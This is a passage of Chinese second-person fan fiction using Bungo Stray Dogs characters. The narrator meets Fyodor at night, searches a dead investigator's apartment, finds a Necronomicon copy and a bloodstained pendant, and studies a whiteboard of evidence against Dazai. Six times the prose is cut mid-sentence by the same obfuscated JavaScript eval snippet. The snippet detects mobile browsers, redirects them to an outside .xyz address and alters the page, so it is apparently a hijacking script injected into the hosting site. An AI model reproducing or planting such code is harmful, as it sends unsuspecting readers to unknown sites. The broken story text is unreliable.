费奥多尔发了个表情包——是你发布的那张绷带木乃伊诺亚,但花盆周围加上了许多红色的小爱心。 【不会丢下你的,朔君。】 紧接着他就发了定位地址以及时间—— 【凌晨零点四十分,到这条街道的二十四小时无人便利店集合可以吗?】 22.第二十二章 你对费奥多尔做出了肯定的回复,约好在凌晨零点四十见面。 退出聊天界面前,你给费奥多尔更改了备注:“诺亚的家属”。 原来诺亚的全名是诺亚·陀思妥耶夫斯基? “太宰诺亚·陀思妥耶夫斯基。”你把你的姓氏加了进去。 好,一个名字,混了三个国度,花盆种族的名字就是要这样独特。 你来到了首领办公室,太宰正在翻一份报告。 你贴过去看,太宰只是轻轻瞥了你一眼,没有让你走开。 报告内容大意是Mafia内部有成员偷偷将储备的柠檬拿去贩卖,已经抓到并处理掉,柠檬已全部回收并重新入库。 报告人的名字是中岛敦和泉镜花。 有点奇怪的报告,毕竟柠檬不是不可贩卖的东西,也不值得大量储备,有理由相信这可能是某种暗语。 “朔君好像很空闲呢……这样的少年在这个年龄,一般都在做些什么?”太宰忽然看向立原。 “……烧杀抢掠?”立原不确定地说。 太宰静静地看着他。 立原改口,“……上学?” 太宰点了点头,望向你,“朔君想去上学吗?” “我要和太宰先生一样。太宰先生在我这个年龄做什么,我就做什么。”你说。 “我十四岁时接受的是某医学博士的一对一私人教导。”太宰说,“四舍五入和上学差不多。” 他骗人的时候真的面不改色。 很容易能猜到,太宰治十四岁时过的肯定是与死亡和血腥紧密联系的生活,绝不是他说的这么简单。 “立原他们呢?”你问。 “他们接受的是Mafia里一位干部的训练指导。”太宰转了转手中的笔,“朔君如果想的话,可以和他们一样。” “我不可以接受太宰先生的一对一私人教导吗?”你眼巴巴地看着他。 “不行呢。”太宰微笑拒绝。 “啊……”你仿佛失望一般移开视线,旋即道:“那我现在去接受某神学专家的一对一私人教导,可以吗?” 太宰治:“……某神学专家?” “诺亚的家属。” 太宰低头看了一眼诺亚,仿佛在确定它真的只是个花盆,“我记得诺亚是你从陀思君那里带过来的……” 你点了点头。 太宰沉默地盯着你,好像在思考什么,一直无意识转着笔,“现在?” 从此前他与你通话时对费奥多尔的态度,可以看出,太宰并不怎么待见费奥多尔。 他没想过你会一连两天想跑到敌人那边去。 你再次点了点头。 “朔君,陀思妥耶夫斯基是个危险的家伙……”太宰从抽屉里翻了翻,从一个糖果盒子中找出一颗薄荷糖放在你的手里,“我想知道理由。” 难道他以为一颗薄荷糖就可以买通你吗?你怎么可能是这么随便的人。 你撕开糖纸,将糖果放进嘴里,“他说带我去二叶亭彻的住址看看。” “那里昨天凌晨就被封锁了。”太宰眯了眯眼睛。 果然,太宰治也去调查过二叶亭彻。 “特务科的人封锁的……”太宰说道,“安吾早在特异点爆发当天就去过教堂,用他的异能调查特异点的原因,但不知道为什么好像没能查清事情经过,只模糊地查到了有一个‘消失之人’。” “安吾先生查到的?” “是。即使你不说,特务科也知道有这么个人存在。”太宰说,“他们认为‘消失之人’有可能与二叶亭彻接触,立即对二叶亭彻的住所展开了监视与调查。” “但是费奥多尔先生说,在那里守着的是军警的‘猎犬’,不是特务科。”你说。 “看来认为二叶亭彻的住所里,有某种危险的或者重要的东西啊……”太宰若有所思,随后他笑了笑,稍稍将上身前仰,与你平视,“说实话,我并不想朔君参与进与二叶亭彻、以及教堂案有关的行动里。朔君真的想过去吗?” “太宰先生为什么不想让我去?”你问。 “因为不安全。”太宰说。 “但是Mafia本身就是在刀尖跳舞的职业。”你说,“我不明白,太宰先生,你在担心我吗?可你不会担心别的Mafia。如果我过去,得到什么信息的话,是对Mafia有利的,不是吗?” 你说的好像有点太正确了,太宰默然片刻,慢慢地开口道,“你要小心点费奥多尔……你知道他在军警那里的通缉代号是什么吗?‘魔人’——恶魔一样的人类,智多近妖的阴谋家。” 你知道,他说小心的意思就是,他同意你出门去了。 “费奥多尔先生说不会丢下我。”你说,“他对我很好。” 太宰治轻轻哼笑了一声,“这种话谁都会说吧。” 你:“太宰先生就不会说。” 非常简单的激将法,太宰明显也听出来了。 但他似乎想到了更多,因为他的目光有短暂的游移。 “不会发生的事情,自然不必说。”太宰没有顺着激将法来。 趁他把文件拿起来整平的时刻,你飞速地朝办公桌的桌面上看了一眼。 很遗憾,没看见线条小猫。 好啦,别灰心……说不定下次会有。 …… 你离开了Mafia事务所。 从外面看,事务所大楼一些窗户是亮的,一些是暗的,交错在一起,像打乱的魔方。 至于首领办公室,你站在楼底,无法看清顶楼,但想想办公室那独特的窗户,外面应该看不见里面的情况。 立原没有和你一起。 虽然他好像很想与你一同前去,但你表示想单独前往,而太宰治在考虑过后,竟然同意了。 横滨十月下旬的夜晚,在街头已经能感受到轻微的凉意。 衣服迟早要换着穿,但是你暂时没有换衣服,身上的外套宽宽长长的,风从领口和袖口灌了进去。 好在少年人的身体素质还算不错,衣服质量也很好,你没有觉得寒冷。 你赶上了地铁的末班车。 Mafia事务所周围有好几条商业街,霓虹灯光闪耀,街上能够看到不少行人。但是你所去的地方相对偏僻,加上时间已晚,所坐的这条地铁线路里面,乘客寥寥无几。 你走下了地铁车厢,出了地铁站,这时路上的车辆几乎都看不见了,只有路灯忠实地站在道路两侧。 红绿灯交替,你独自走过斑马线,走过天桥。 虽然有风,但空气有些沉闷,可能过不了多久就会下雨。 这时你突然收到了消息。不过不是来自“诺亚的家属”,而是来自太宰治。 消息内容很简单,【小诺亚让你早点回来。】 你:【真的吗?诺亚真的这么说?】 太宰治:【朔君宁愿相信魔人君的话,也不愿意相信我,我会伤心的哦。】 你发了个猫咪贴贴的表情包,【太宰先生不要伤心。就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12866451|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算诺亚不这么说,我也会早点回去的。】 放下手机,远远地,你看到身形纤细、披着黑色披风的俄罗斯人站在便利店的门口。 你走近,看见便利店灯牌的光亮为他雪白的帽子染上了绚烂的色彩,连他的眉眼看起来也柔软光明了许多。 费奥多尔正注视着无星无月的夜空,无意识地咬着手指,或许是在思考着什么,想得非常入神。 察觉到有人接近,他偏过头朝你看过来,脑袋可能还没有从思考的事中回过神,以至于他眼睛中的神色看起来有些茫然。 不过,他很快就调整好了状态。 费奥多尔放下手,朝你扬起一个标准的微笑,“朔君来得很早呢。” 你们都提前了至少半个小时。 “再晚一些就没有地铁了。”你说。 太宰没给你零花钱,乘地铁的费用还是之前从擂钵街的黑商那里要来的,一种很符合Mafia行为的黑吃黑。 “Mafia没有派人来送您吗?”费奥多尔看了一眼你的身后。 “总觉得最好不要让他们到这里——不打车也是这个道理……我不想与你见面被人打扰。”你说。 “是这样啊……”费奥多尔没有多问,带你走进了便利店。 这家便利店的空间十分狭小,且空无一人。 他从货架上拿了一包饼干,然后问你,“时间还早,吃点什么吗?” 你拿起一包混合水果干,打量着四周,架子上的商品不全,零零散散的,看起来不像是在好好经营的样子,“这家店是?” “这里平时没生意,倒闭了,所以我把它买下来当新据点。店主在临走时把货物以及设备一并送给了我,我还没来得及整理装修,只是把这里作为组织成员的临时落脚点,给部下提供免费食物与日常用品,传递些消息,然后……就成了现在这样。”费奥多尔说。 “你有一个便利店据点——”你惊叹的语气和“你有一个花盆宠物”如出一辙。 即使你在一些奇怪的事情上表示惊叹……他也不可能把便利店交给你的。 费奥多尔眼带笑意,坐在靠窗处的椅子上,“不仅有便利店据点,还有电影院据点、居酒屋据点……” “好充足的经费。”你说。 “都是一些原本无法继续经营下去的店铺。本来,买下它们只是为了自然地传递情报,顺便给成员提供福利……但后来总是莫名其妙就开始盈利了。”费奥多尔说。 莫名其妙开始盈利……他说的是人话吗? “朔君如果能找到这些商业类据点,可以享受和我的部下一样的待遇,免费使用据点里的设施以及商品。”他微笑着看着你,“只是不要再引来爆炸了。” “可是很难找喔。”你说,“费奥多尔先生不能给一些提示吗?” “我相信那对您来说,并不困难。”他似乎非常相信你的能力。 你们吃了点东西,费奥多尔看了看时间,站起身。 你跟在他身后,往二叶亭彻的住所走。 街道空旷,隐约能听见远处响起的警笛声。 “费奥多尔先生是怎么引开猎犬的?”你好奇道。 他紧了紧身上的斗篷,倒没有隐瞒,“请涩泽君帮了一点小忙。” 看来又有异能者死于自身的异能手中了。 二叶亭彻的住所在一栋小楼内,猎犬离开了,但还有警员守在楼梯口。 你用异能将这些守卫催眠解决,进入楼房的过程出奇顺利。 23.第二十三章 费奥多尔给你递了一双手套,随后便站在了客厅的白板前。 那块白板上是对近期案件的分析……好几件案件的分析都在上面,没清除掉,混在一起乱糟糟的,写画都很潦草,不知道他能不能看懂。 房屋的灯是开着的,有着明显的被调查过的痕迹。 柜子和抽屉都被打开了,有些纸质资料散落在地上……猎犬做事还是这么粗暴。难道他们的调查——至少在调查同僚的时候,就不能温和一点吗? 罢了,也不能指望一群脑子里都是战斗的神经病正儿八经地查案。 靠近大门的右手边有一个玻璃鱼缸——里面有三只蝶尾,名字分别是小金、小白和…… 谁把小墨水带走了? “取名天赋真是烂穿地心了啊……” 你说得对,但是诺亚也没好到哪里去。 至少鱼是一种会呼吸的宠物,花盆不是。 你在鱼缸旁边的地上找到了一只黑色的金鱼。 “已经死了。”你戴上手套,蹲在金鱼旁边,戳了戳死去的小墨水。 可能是因为受惊,自己跳出了鱼缸……唉。让军警处理吧。他们除了战斗,还很会收尸。 你站起身,四下张望了一下,随后往书房走。 等一等,先喂一喂小金和小白,它们还活着呢,小家伙们饿了好几天了,鱼食在电视柜上的白色盒子里—— 你往书房走。 书房没什么值得在意的东西,不如先把小金和小白喂一下,救鱼两命。 你往书房走。 书房的隐秘之处有个保险箱,至于密码,为什么不问问两只神奇的金鱼呢? 你转身,走到电视柜旁,拿起白色盒子里的鱼食袋子,完成了“给金鱼喂食”的成就。 随后,你推开了书房的门。 书桌上有一台电脑和几本笔记,电脑是打开着的……这群混蛋家伙,一点也不尊重同僚的隐私。 不过,这台电脑里什么重要信息也没有,他们注定要失望了。 你走到电脑前,点开浏览器—— 停,难道你觉得还有什么比保险箱更重要的吗?这台电脑里的确没有什么重要的信息,不要看这些无关紧要的东西了,非常浪费时间。 你查看浏览器的历史记录…… 什么也没有! 无痕模式真是世界上最伟大的发明! 你关闭浏览器,点开通讯应用——登录需要密码。 文件夹——打开需要密码。 办公软件——没有密码。 喔,真是太有趣了,这是什么?只写了一个开头的犯罪对策科九月工作总结?随便看吧,放心,没有机密,机密都在对策科办公室里的电脑里呢—— 或许你可以试着挑战完成二叶亭彻生前未完成的工作报告? 你对有趣的工作任务不感兴趣,把电脑恢复了原样。 电脑旁边的书架上放有许多书籍,都是些杂书,包括但不限于百科图书、小说与剧本、化学物理专业书、哲学书和艺术类书籍、社会科学类图书……什么都有,但你没有仔细翻阅的时间。 地上也散落了许多书籍……猎犬干的,他们找机关的方式还是这么别具一格。 但是保险箱在电脑桌柜子底下的地板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12883341|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里头,没有机关,只要打开柜子,然后移开柜子的底板——就能看见一个八位数密码锁。 很快,你就在书房幸运地找到了一个保险箱。 你怎么知道保险箱在那的?也许是因为你调查得很认真,幸运眷顾了你。 不过,找到了保险箱也没用。 因为没人知道密码是圆周率小数点后第十二位到第十九位数。 一旦密码输入错误,保险箱里的东西就会自动销毁。 ……但是,非常神奇——奇迹与幸运再次眷顾了你。 你百无聊赖地拿出手机,巧合地搜索了圆周率,然后随意地转动了几下密码锁,保险箱竟然就这么开了。 你的运气好到可以买彩票……总不可能是金鱼告诉你密码的,金鱼和花盆一样并不会说话,是的,这谁都知道。 保险箱中放着一本书—— 你看了看书名。《死灵之书》,是拉丁语抄本而不是原版,但材质也是羊皮纸。 你触摸着书籍的封面,隐约感受到躯壳血肉所传达的兴奋与颤栗。 有这样的传说,《死灵之书》一旦重现世间,一定会带来无穷无尽的灾难——这只是抄本,还是拉丁语,并且有许多残缺,即使如此……这也是一本危险的书。 里面记载着大量荒诞不经的东西,比如神明,比如……与某种“恶魔”——暂且这么称呼祂,与恶魔交易的办法。 猎犬会在这里,很有可能就是为了这本书,但你已经在他们之前找到了它。 你拿起了死灵之书。 二叶亭彻的住所没有什么别的有价值的东西,或许你该离开了。 24.第二十四章 你关闭保险箱,将电脑桌下的柜子恢复原样,拿着死灵之书回到了客厅。 费奥多尔的目光在你手中的书上停留了不短的时间,他明显对这本书很感兴趣。 然而,他并没有出声向你询问是否能够看一看这本书,只是在观察片刻后,问道,“朔君手上这本书……有什么特别之处吗?” “这本书喊我带上它。”你说。 “……就像诺亚喊你带它走?”费奥多尔顿了一下,尝试习惯你抽象的语言风格。 你点了点头。 他没有多问,从白板上取下了什么,随后四处观察了一下,走进了书房。 而你则绕过他,走进了卫生间。 卫生间中,洗漱台、马桶、浴缸以及淋浴的地方是分开的,有一块地方被浴帘挡住了。 你一进门,离你最近的是洗漱台与镜子。 镜子里的少年抱着古旧的书籍,穿着不合身的长外套,黑发稍有些凌乱……一路走过来时,夜风吹乱了你的头发。 但你的眼睛在灯光下清澈透亮,像是星星。很多人喜欢这样的眼睛,连带着喜欢拥有这双眼睛的人,事实上,他们并不知道这双眼睛之下的意识究竟是何种模样。 你有一种想要拿起梳子梳理一下头发的冲动,这里的一切都让你感到熟悉。 你朝镜子微笑了一下。 你走到了马桶附近,这里很干净,周围没有多余的东西——你甚至翻了水箱,水箱里什么也没有。 “没有书本或者报纸。”你翻开装卫生纸的盒子。 当然没有——坐在马桶上的时刻或许是人们的阅读癖发作最严重的时候,但是现代除了书报以外,还有个伟大的发明——手机。 你拉开了浴帘,这后面是淋浴的地方,再之后的玻璃挡板隔着浴缸。 衣篓里面有一件茶咖色的薄风衣,你弯腰拿起风衣,翻了翻里面的口袋。 除了钥匙和防风打火机,还有一个皱巴巴的纸质白色手环,上面印有编号。 这是手链型旁听券。 部分受到较多关注的审判,会因为想要旁听的人数太多,以抽签的形式抽选旁听者,发放旁听券。 “这是哪场审判的旁听券?” 你想不起来。 “应该就是最近的审判,受到较多关注的审判不会很多,稍一调查就可以知道了。”你很聪明。 你把旁听券放进了口袋。 卫生间很空且干净,一眼看去,没有别的值得关注的东西。 但是你没有走,你又回到了洗漱台前。也许你还想照照镜子。 看——这是你。 镜子中的少年有一张清俊的脸,面色平静。 假以时日,样貌不会比太宰治差到哪里去——你看过二叶亭彻的照片的。 你打开镜子旁边的储物柜。 里面放的是一些杂物,储备的刮胡膏、梳子之类的。 你翻翻找找,最后踮起脚尖,伸出手朝最顶层的里面摸索——触到了最深处的一个小盒子。 这是一个黑色的首饰盒,上面的盖子已经落灰了……难道你看不出来吗,盒子的主人将其放在这里、放在最深处,放到落灰,就是不想打开它,不愿意想起它…… 你现在可以将它放回去。 谁也不会在意这个小盒子。这里面的东西对案件也不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12897191|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有任何帮助。 毕竟,这么小的一个盒子,能放什么呢。你可以相信,打开这个对你没有好处…… “人总是要做一些没有好处的事情。” 你就像受到好奇心的蛊惑……太宰治是对的,好奇心太重不是好事。 你打开了盒子。 一条十字架吊坠,银白色,细长的链条已经断了。 它安静地躺在盒子里,盒子是它的棺木,你打扰了逝者的安息。 “血迹……” 十字架的底部有一点黑色,你猜得很正确,是血迹。 那也是巨大的哀伤。 你感到一阵发冷,无名的绝望让你的呼吸越发艰难,呼——吸——空气挤入你的肺,然而你依然浑身无法控制地发抖,你就像一条挂在悬崖树梢上的布,很快就要跌落下去…… 你紧紧攥着那条十字架吊坠,首饰盒与怀中的死灵之书因无力而掉落在了地上,发出响亮的声音。 极致的悲哀带来的痛苦与寒冷,身体的自然反应……你心脏刺痛,头晕目眩,踉跄着后退半步,撞到了背后开着的门上。 好在有一只手扶住了你,让你不至于跌倒在地。 是费奥多尔,他注意到这里的动静不对,匆匆赶来。 “朔君?”他担忧地呼唤你的名字。 你抬起头,镜子里的你脸色苍白得可怕,一只眼睛中流下的泪水已经快到淌到下巴,而你竟丝毫未觉。 “怎么回事?”费奥多尔俯下身,轻轻地扶着你的肩膀。 他握住你的手,连带着吊坠一起,好像在试着以此传达半点温暖。 “朔君——”他再次呼唤道。 25.第二十五章 费奥多尔的视线中有惊讶有探究。 你朝他轻轻摇了摇头,“一点意外……费奥多尔先生,让我自己平静一下吧?” 他握着你依然在发抖的手,凝视了你一会儿,慢慢松开了,“既然朔君这样说……” 他无可奈何般将自己的白色帽子取下来为你戴上,你的耳朵被帽子包裹住,热乎乎的,一种温暖柔软的触感。 “嗯、这样应该就不会太冷了。”他朝你微微一笑,离开了这里,贴心地为你关上了门。 你背靠着墙壁,尽力让自己的身体状态平复下来。 在窒息感稍微缓解之后,你拿出了手机,找到备注为“太宰先生”的联系人。 由于你的手还在轻微地颤抖,且全身使不上多少力气,你点了好几次,才把电话拨出去。 电话只响了两声就接通了,“朔君?” 你慢慢地蹲下来,坐在地上,没有说话。 电话那边似乎意识到了你的状态不对,“是受伤了吗?” “没有……”你的声音相比起往常要沉闷许多,“我找到了一件……” 太宰安静地听着。 “一件……”你摘下手套,感受着吊坠的冰凉,不断地在大脑中寻找着描述这个吊坠的词,“一件遗物。” 你的推测正确。这是遗物。 你们之间只有呼吸声,过了一会儿,太宰见你不再说话,轻声道,“谁的遗物?” “我不知道……太宰先生,我不知道。”你无法控制眼泪的流出,“我不知道为什么、为什么人在至亲死后,接触到逝者的遗物,会这样的难过……这样的痛苦。” “朔君……”太宰听着你沙哑的声音,迟疑道,“在哭吗?” “太宰先生明白这样的感觉吗?” 背部靠着的墙壁冰冷,冷意从你的背一直蔓延到心脏,却好像缓解了身体的痉挛,你重重地吸了一口气。 “我明白的。”他好像不太会安慰人,简短地回答了一句,似乎又觉得有些虚假生硬,低声重复道,“……我明白的。” “太宰先生会怎么做?”你问。 “……什么?” “当重要的人死去……太宰先生,会怎么做?”你用力呼吸着,手一直在颤抖。 你没继续把手机放在耳边,而是慢慢把手放下,开免提,盯着屏幕上的号码。 “如果是朔君面对这种情况,我会希望朔君知道,悲哀是无法遗忘的,人类所能做的,只有接受这份悲哀。”太宰的语调不疾不徐,有一种能够让人平静下来的魔力,“但是如果是我的话……我会试着,不让悲哀降临。” “可是假如悲哀已经降临了呢?” “那就用尽一切办法,让时间回到悲哀降临之前,阻止事件发生。” 太宰说着人类不可能做到的事,他的声音温和得像不存在于这个月份的春天。 “一切办法——即使可能要尝试千次、万次……” 他停顿了一下,又道,“但是朔君,你是太宰朔,不是二叶亭彻——不要在他的事上陷得太深了。” “我知道了……”你挂断电话,将十字架吊坠戴在自己的脖颈间,捡起地上的书,缓缓地站了起来。 镜子里的你,脸色苍白得像纸,但身体已经不再抖得那么厉害,呼吸也平缓了很多。 也许你并不喜欢这具身体的应激反应,但这也没有办法…… 总有些来自过往的伤口会成为身体的一部分,即使是时间也无法抹去。 你依然被哀伤笼罩着,但你转动门把手,拉开门,走出了卫生间。 费奥多尔站在鱼缸的前面,他低头看着死去的黑色金鱼,听到声响,偏过头来望向你。 “朔君想起了什么吗?”他问。 “什么也想不起来。”你走到他身边,与他一起看着金鱼的尸体,“小金和小白看见小墨水跳出鱼缸,会是什么样的感觉?” “金鱼可没有人类那样复杂的情感结构。”费奥多尔理解了你说的是鱼的名字。 “这是幸运还是不幸?”你问。 “不是幸运也不是不幸,只是金鱼与生俱来的命运。”他平淡地说,“你把这只鱼的尸体丢回鱼缸里,说不定另外两条鱼会把它作为食物吃掉。” 你的胃突然再次开始痉挛……突然之间!就像一座山崩塌了,你的精神中有什么东西崩断碎裂,如打碎的玻璃般,碎成了一片一片的,这不止是吊坠带来的悲哀,这是更严重的、来自灵魂深处的伤口。 你跪倒在地—— 你伸出手,猛地抓住了惨白的瓷砖上,金鱼冰凉又有些黏腻的尸体,但在你疯了一般将它塞进嘴里之前,费奥多尔迅速地扣住了你的手腕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12912490|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你用尽力气尝试挣脱,手臂上的青色血管几乎要突破那一层薄薄皮肤的限制。可费奥多尔抓得很紧,他抿着嘴,冷静得近乎严肃地看着你。 “他死了……”你流不出一滴眼泪,抬头看着俯下身的费奥多尔,金鱼的尸体从你的手中滑落,“他死了。” “是的,它死了。”费奥多尔平静地说,“朔君,死亡是一种救赎。” “所以你不会明白。”你说,“费佳,你曾因为谁的死而悲怮吗?” “朔君——”他没有回答,安静地注视着你,轻轻地叹了口气,“这只是一条金鱼。” …… 你和他都沉默了很久。 当你站起来,开始继续调查时,费奥多尔跟在你身后,仿佛是担忧你再次失控。 客厅中的白板有很大的面积,上面既有复杂的涂画和笔记,还粘着一些照片,寻常人很难看懂。 最中间的地方空了一块出来,那里原本有一张照片,大概是被费奥多尔拿走了。 “这里原本是什么?”你指着白板的中间说。 “一张照片。”费奥多尔没有隐瞒,拿出了那张照片,你看过去,是很熟悉的人——你的监护人。 这张照片只模糊地拍到了他缠着绷带的侧脸,照片上的人看上去冷漠而阴郁。 与你平日见到的太宰不太一样。 这很正常,人是多面的。 你见到的、对你总是十分包容的监护人是太宰治,银所说的、会在工作时走神涂鸦的首领是太宰治。 而照片中,这位站在几具尸体之中,一身黑衣,手里还拿着枪,正低头朝地上的人说些什么的残忍Mafia,也是太宰治。 “听说过二叶亭君一直在追查Mafia的首领,但没想到他能弄到这位的照片。”费奥多尔说。 “拍到太宰先生的照片很令人惊讶吗?”你问。 “这一任Mafia首领行事极端谨慎,而且对镜头有极高的敏感性。他的照片从没有在外界流传过,拍下他的照片的人,要么被封口要么被灭口。连异能特务科都无法光明正大地拍照,只能隐秘地尝试拍摄记录……” 费奥多尔轻轻敲了敲照片。 “军警可能会用一些手段拿到他在正式场合上的照片,但不可能有像这张一样,明显是犯罪现场的记录……” 26.第二十六章 “二叶亭彻为什么会有这张照片?”你问。 费奥多尔没有回答,只是把照片收了起来。 他不知道答案。他怎么会知道呢,他既不是拍下这张照片的人,也不是照片里的人。 你的视线一直黏在那张照片上,但是费奥多尔视若不见—— 真可恶,这是二叶亭彻费尽心思才拍到的,他就这么轻松地摘了果子。 你扯了扯他的衣服,开口道,“费佳,我想要这张照片。” “放我这里调查得更快呢。”费奥多尔说,“朔君好善变喔,刚才还赶我走,是不是到有求于我时,才会喊我喊得这样亲近?” “我以后也这样喊。”你睁大眼睛看着他,“好费佳,我要照片。” “朔君可以找你的监护人先生多拍几张。”费奥多尔微笑着拒绝了。 这么好看的少年对他卖萌,他都能拒绝……这家伙的心到底是什么做的? “好吧,陀思妥耶夫斯基先生。”你又问,“二叶亭彻为什么追查Mafia?” “他是军警的犯罪顾问,查Mafia也正常……” 费奥多尔说,“这面白板上都是与太宰治有直接关联的罪行,你看这里——” 他的手指从中间指到白板的左上角。 “这里画的是KK商会的会徽,这张照片里的众多尸体面容不清,但二叶亭彻把其中一位成员手臂上的纹身与商会会徽进行了比对,确认了尸体是商会的成员。然后这张,这是弹道分析的报告——” 费奥多尔不仅看懂了白板上混乱的东西,还很明白地说出了二叶亭彻的思路。 “报告显示造成KK商会成员们致命伤的子弹,来源于一批走私的枪械。” 他的手指慢慢移到白板上方,那里贴着一张仓库的图片。 “枪械来源于此。这张照片是某走私枪械的现场。当时,福地樱痴亲自带队,这批枪械被军警查获了一部分,但依然有一部分被带走了。” “军警虽然没有抓到活口,但二叶亭彻推测出走私的其中一方是Mafia……二者结合起来,基本可以断定是Mafia杀害了KK商会的成员。” “但是,这其实对太宰先生无法造成多大的影响。”你说,“最多让Mafia出点血。” “这是六年前的事。”费奥多尔忽然说。 “六年前?” “龙头抗争时期的事情。”费奥多尔眯了眯眼,笑道,“那时候你的监护人还不是首领呢。” 他指着照片旁边的一段文字,“你看二叶亭君的分析,那段时间中,Mafia别的干部以及黑蜥蜴成员,基本都能够确定位于其他的地点,所以领队杀死KK商会成员的人,以及枪械走私的负责人,很可能就是你那位监护人……由于龙头抗争、犯罪组织乱斗的背景,KK商会的覆灭没有引起太多人注意。” “但是二叶亭彻注意到了。”你说。 “对。”费奥多尔说,“寻找从前的Mafia干部的犯罪证据,比寻找现在隐于幕后的Mafia首领的犯罪证据要简单一点。你看其它的部分……” 他划过白板其他地方,“这是近几年的案件,虽然也是与你那位首领有关的案件,但大多都是文字分析,很少有照片了。” “确实如此,白板上这些案件,都与太宰先生有直接关联……” 你仔细看着案件分析,有走私案,有杀人案,还有纵火案和爆炸案。 “不仅是有直接关联。”费奥多尔笑了笑,“这么多年,与Mafia首领有直接关联的案件绝不止这么点,二叶亭君会把这些案件单独挑出来,一定有别的原因。” “你的意思是,这些案件背后,还有某种联系?” “原本我也没猜到背后的联系是什么,但是结合这本笔记……就差不多明白了。” 他走到书房,把电脑桌上的笔记拿了出来。 你接过厚厚的笔记。 认真翻完的话需要很长的时间。 但看费奥多尔的模样,他好像已经用神奇的量子阅读法完全了解了笔记内容。 你阅读了一下笔记,笔记很乱,但你能看出里面记着的是大量的案件,有案发现场的草图,还有一些证言与陈述,甚至还有奇怪的化学公式与符号。 其中混杂着二叶亭彻的一些思绪——二叶亭彻认为太宰治覆灭KK商会以及犯下白板上记录着的其他罪行,是为了拿到某件东西。 “联系就是你手上的死灵之书。”费奥多尔说,“你看第三十七页,三十七页时,他应该是与太宰治有了接触。后面他追查太宰治犯下的案件,就不是为了抓捕那位首领了,而是为了……掌握他拿到这本书的进度。” 你翻到第三十七页,上面写着潦草的句子。 【我亲眼见到了他……我本以为我就要在重重包围下结束这一切,但他没有杀死我,反而邀请我加入……他说的没错,不管是出自情理还是道义,我都应该感谢他,可是我又无法说服我的心不去怨恨他……】 【他骂我是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12924512|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蠢货,哈哈!他是对的。但是早晚有一天我要骂回来!得了吧,不情不愿地把自己累成这个鬼样子,还不赶紧卸任把工作甩出去,能是什么聪明东西?!我看也就半斤八两……】 【我不敢当场骂,他们人太多了,我怕谁的枪一下子“不小心”走火了……谁知道他们的枪支质量到底靠不靠谱?但我可以先记下来……呵,给我等着。】 费奥多尔是怎么猜到这是与Mafia首领见面了的?难道很明显吗? “如果你了解过这本笔记上记的这些案件,就会发现,三十七页之后,二叶亭彻一直在查其他的犯罪组织——抓到罪证后,让军警进行打击,而在军警打击后,Mafia便借此顺利出手收服了这些元气大伤的势力。”费奥多尔说。 “太宰先生和二叶亭君明面上是死敌,但其实已经达成了暗地里的合作……?”你明白了。 “正是如此。结合笔记能够知道,白板上的这些案件,死者都是与死灵之书有关的势力成员。”费奥多尔笑道,“我猜……二叶亭彻用军警的能力帮Mafia收服其他组织,让Mafia飞速壮大,而Mafia在找到死灵之书后,把死灵之书交给他,这就是他们的合作内容。” “二叶亭彻特意留下了白板上这些罪证,目的有二,其一是方便掌控Mafia寻找死灵之书的进度,其二是防止Mafia食言。这些罪证不足以让太宰治入狱,但足以给他造成很大的麻烦。” 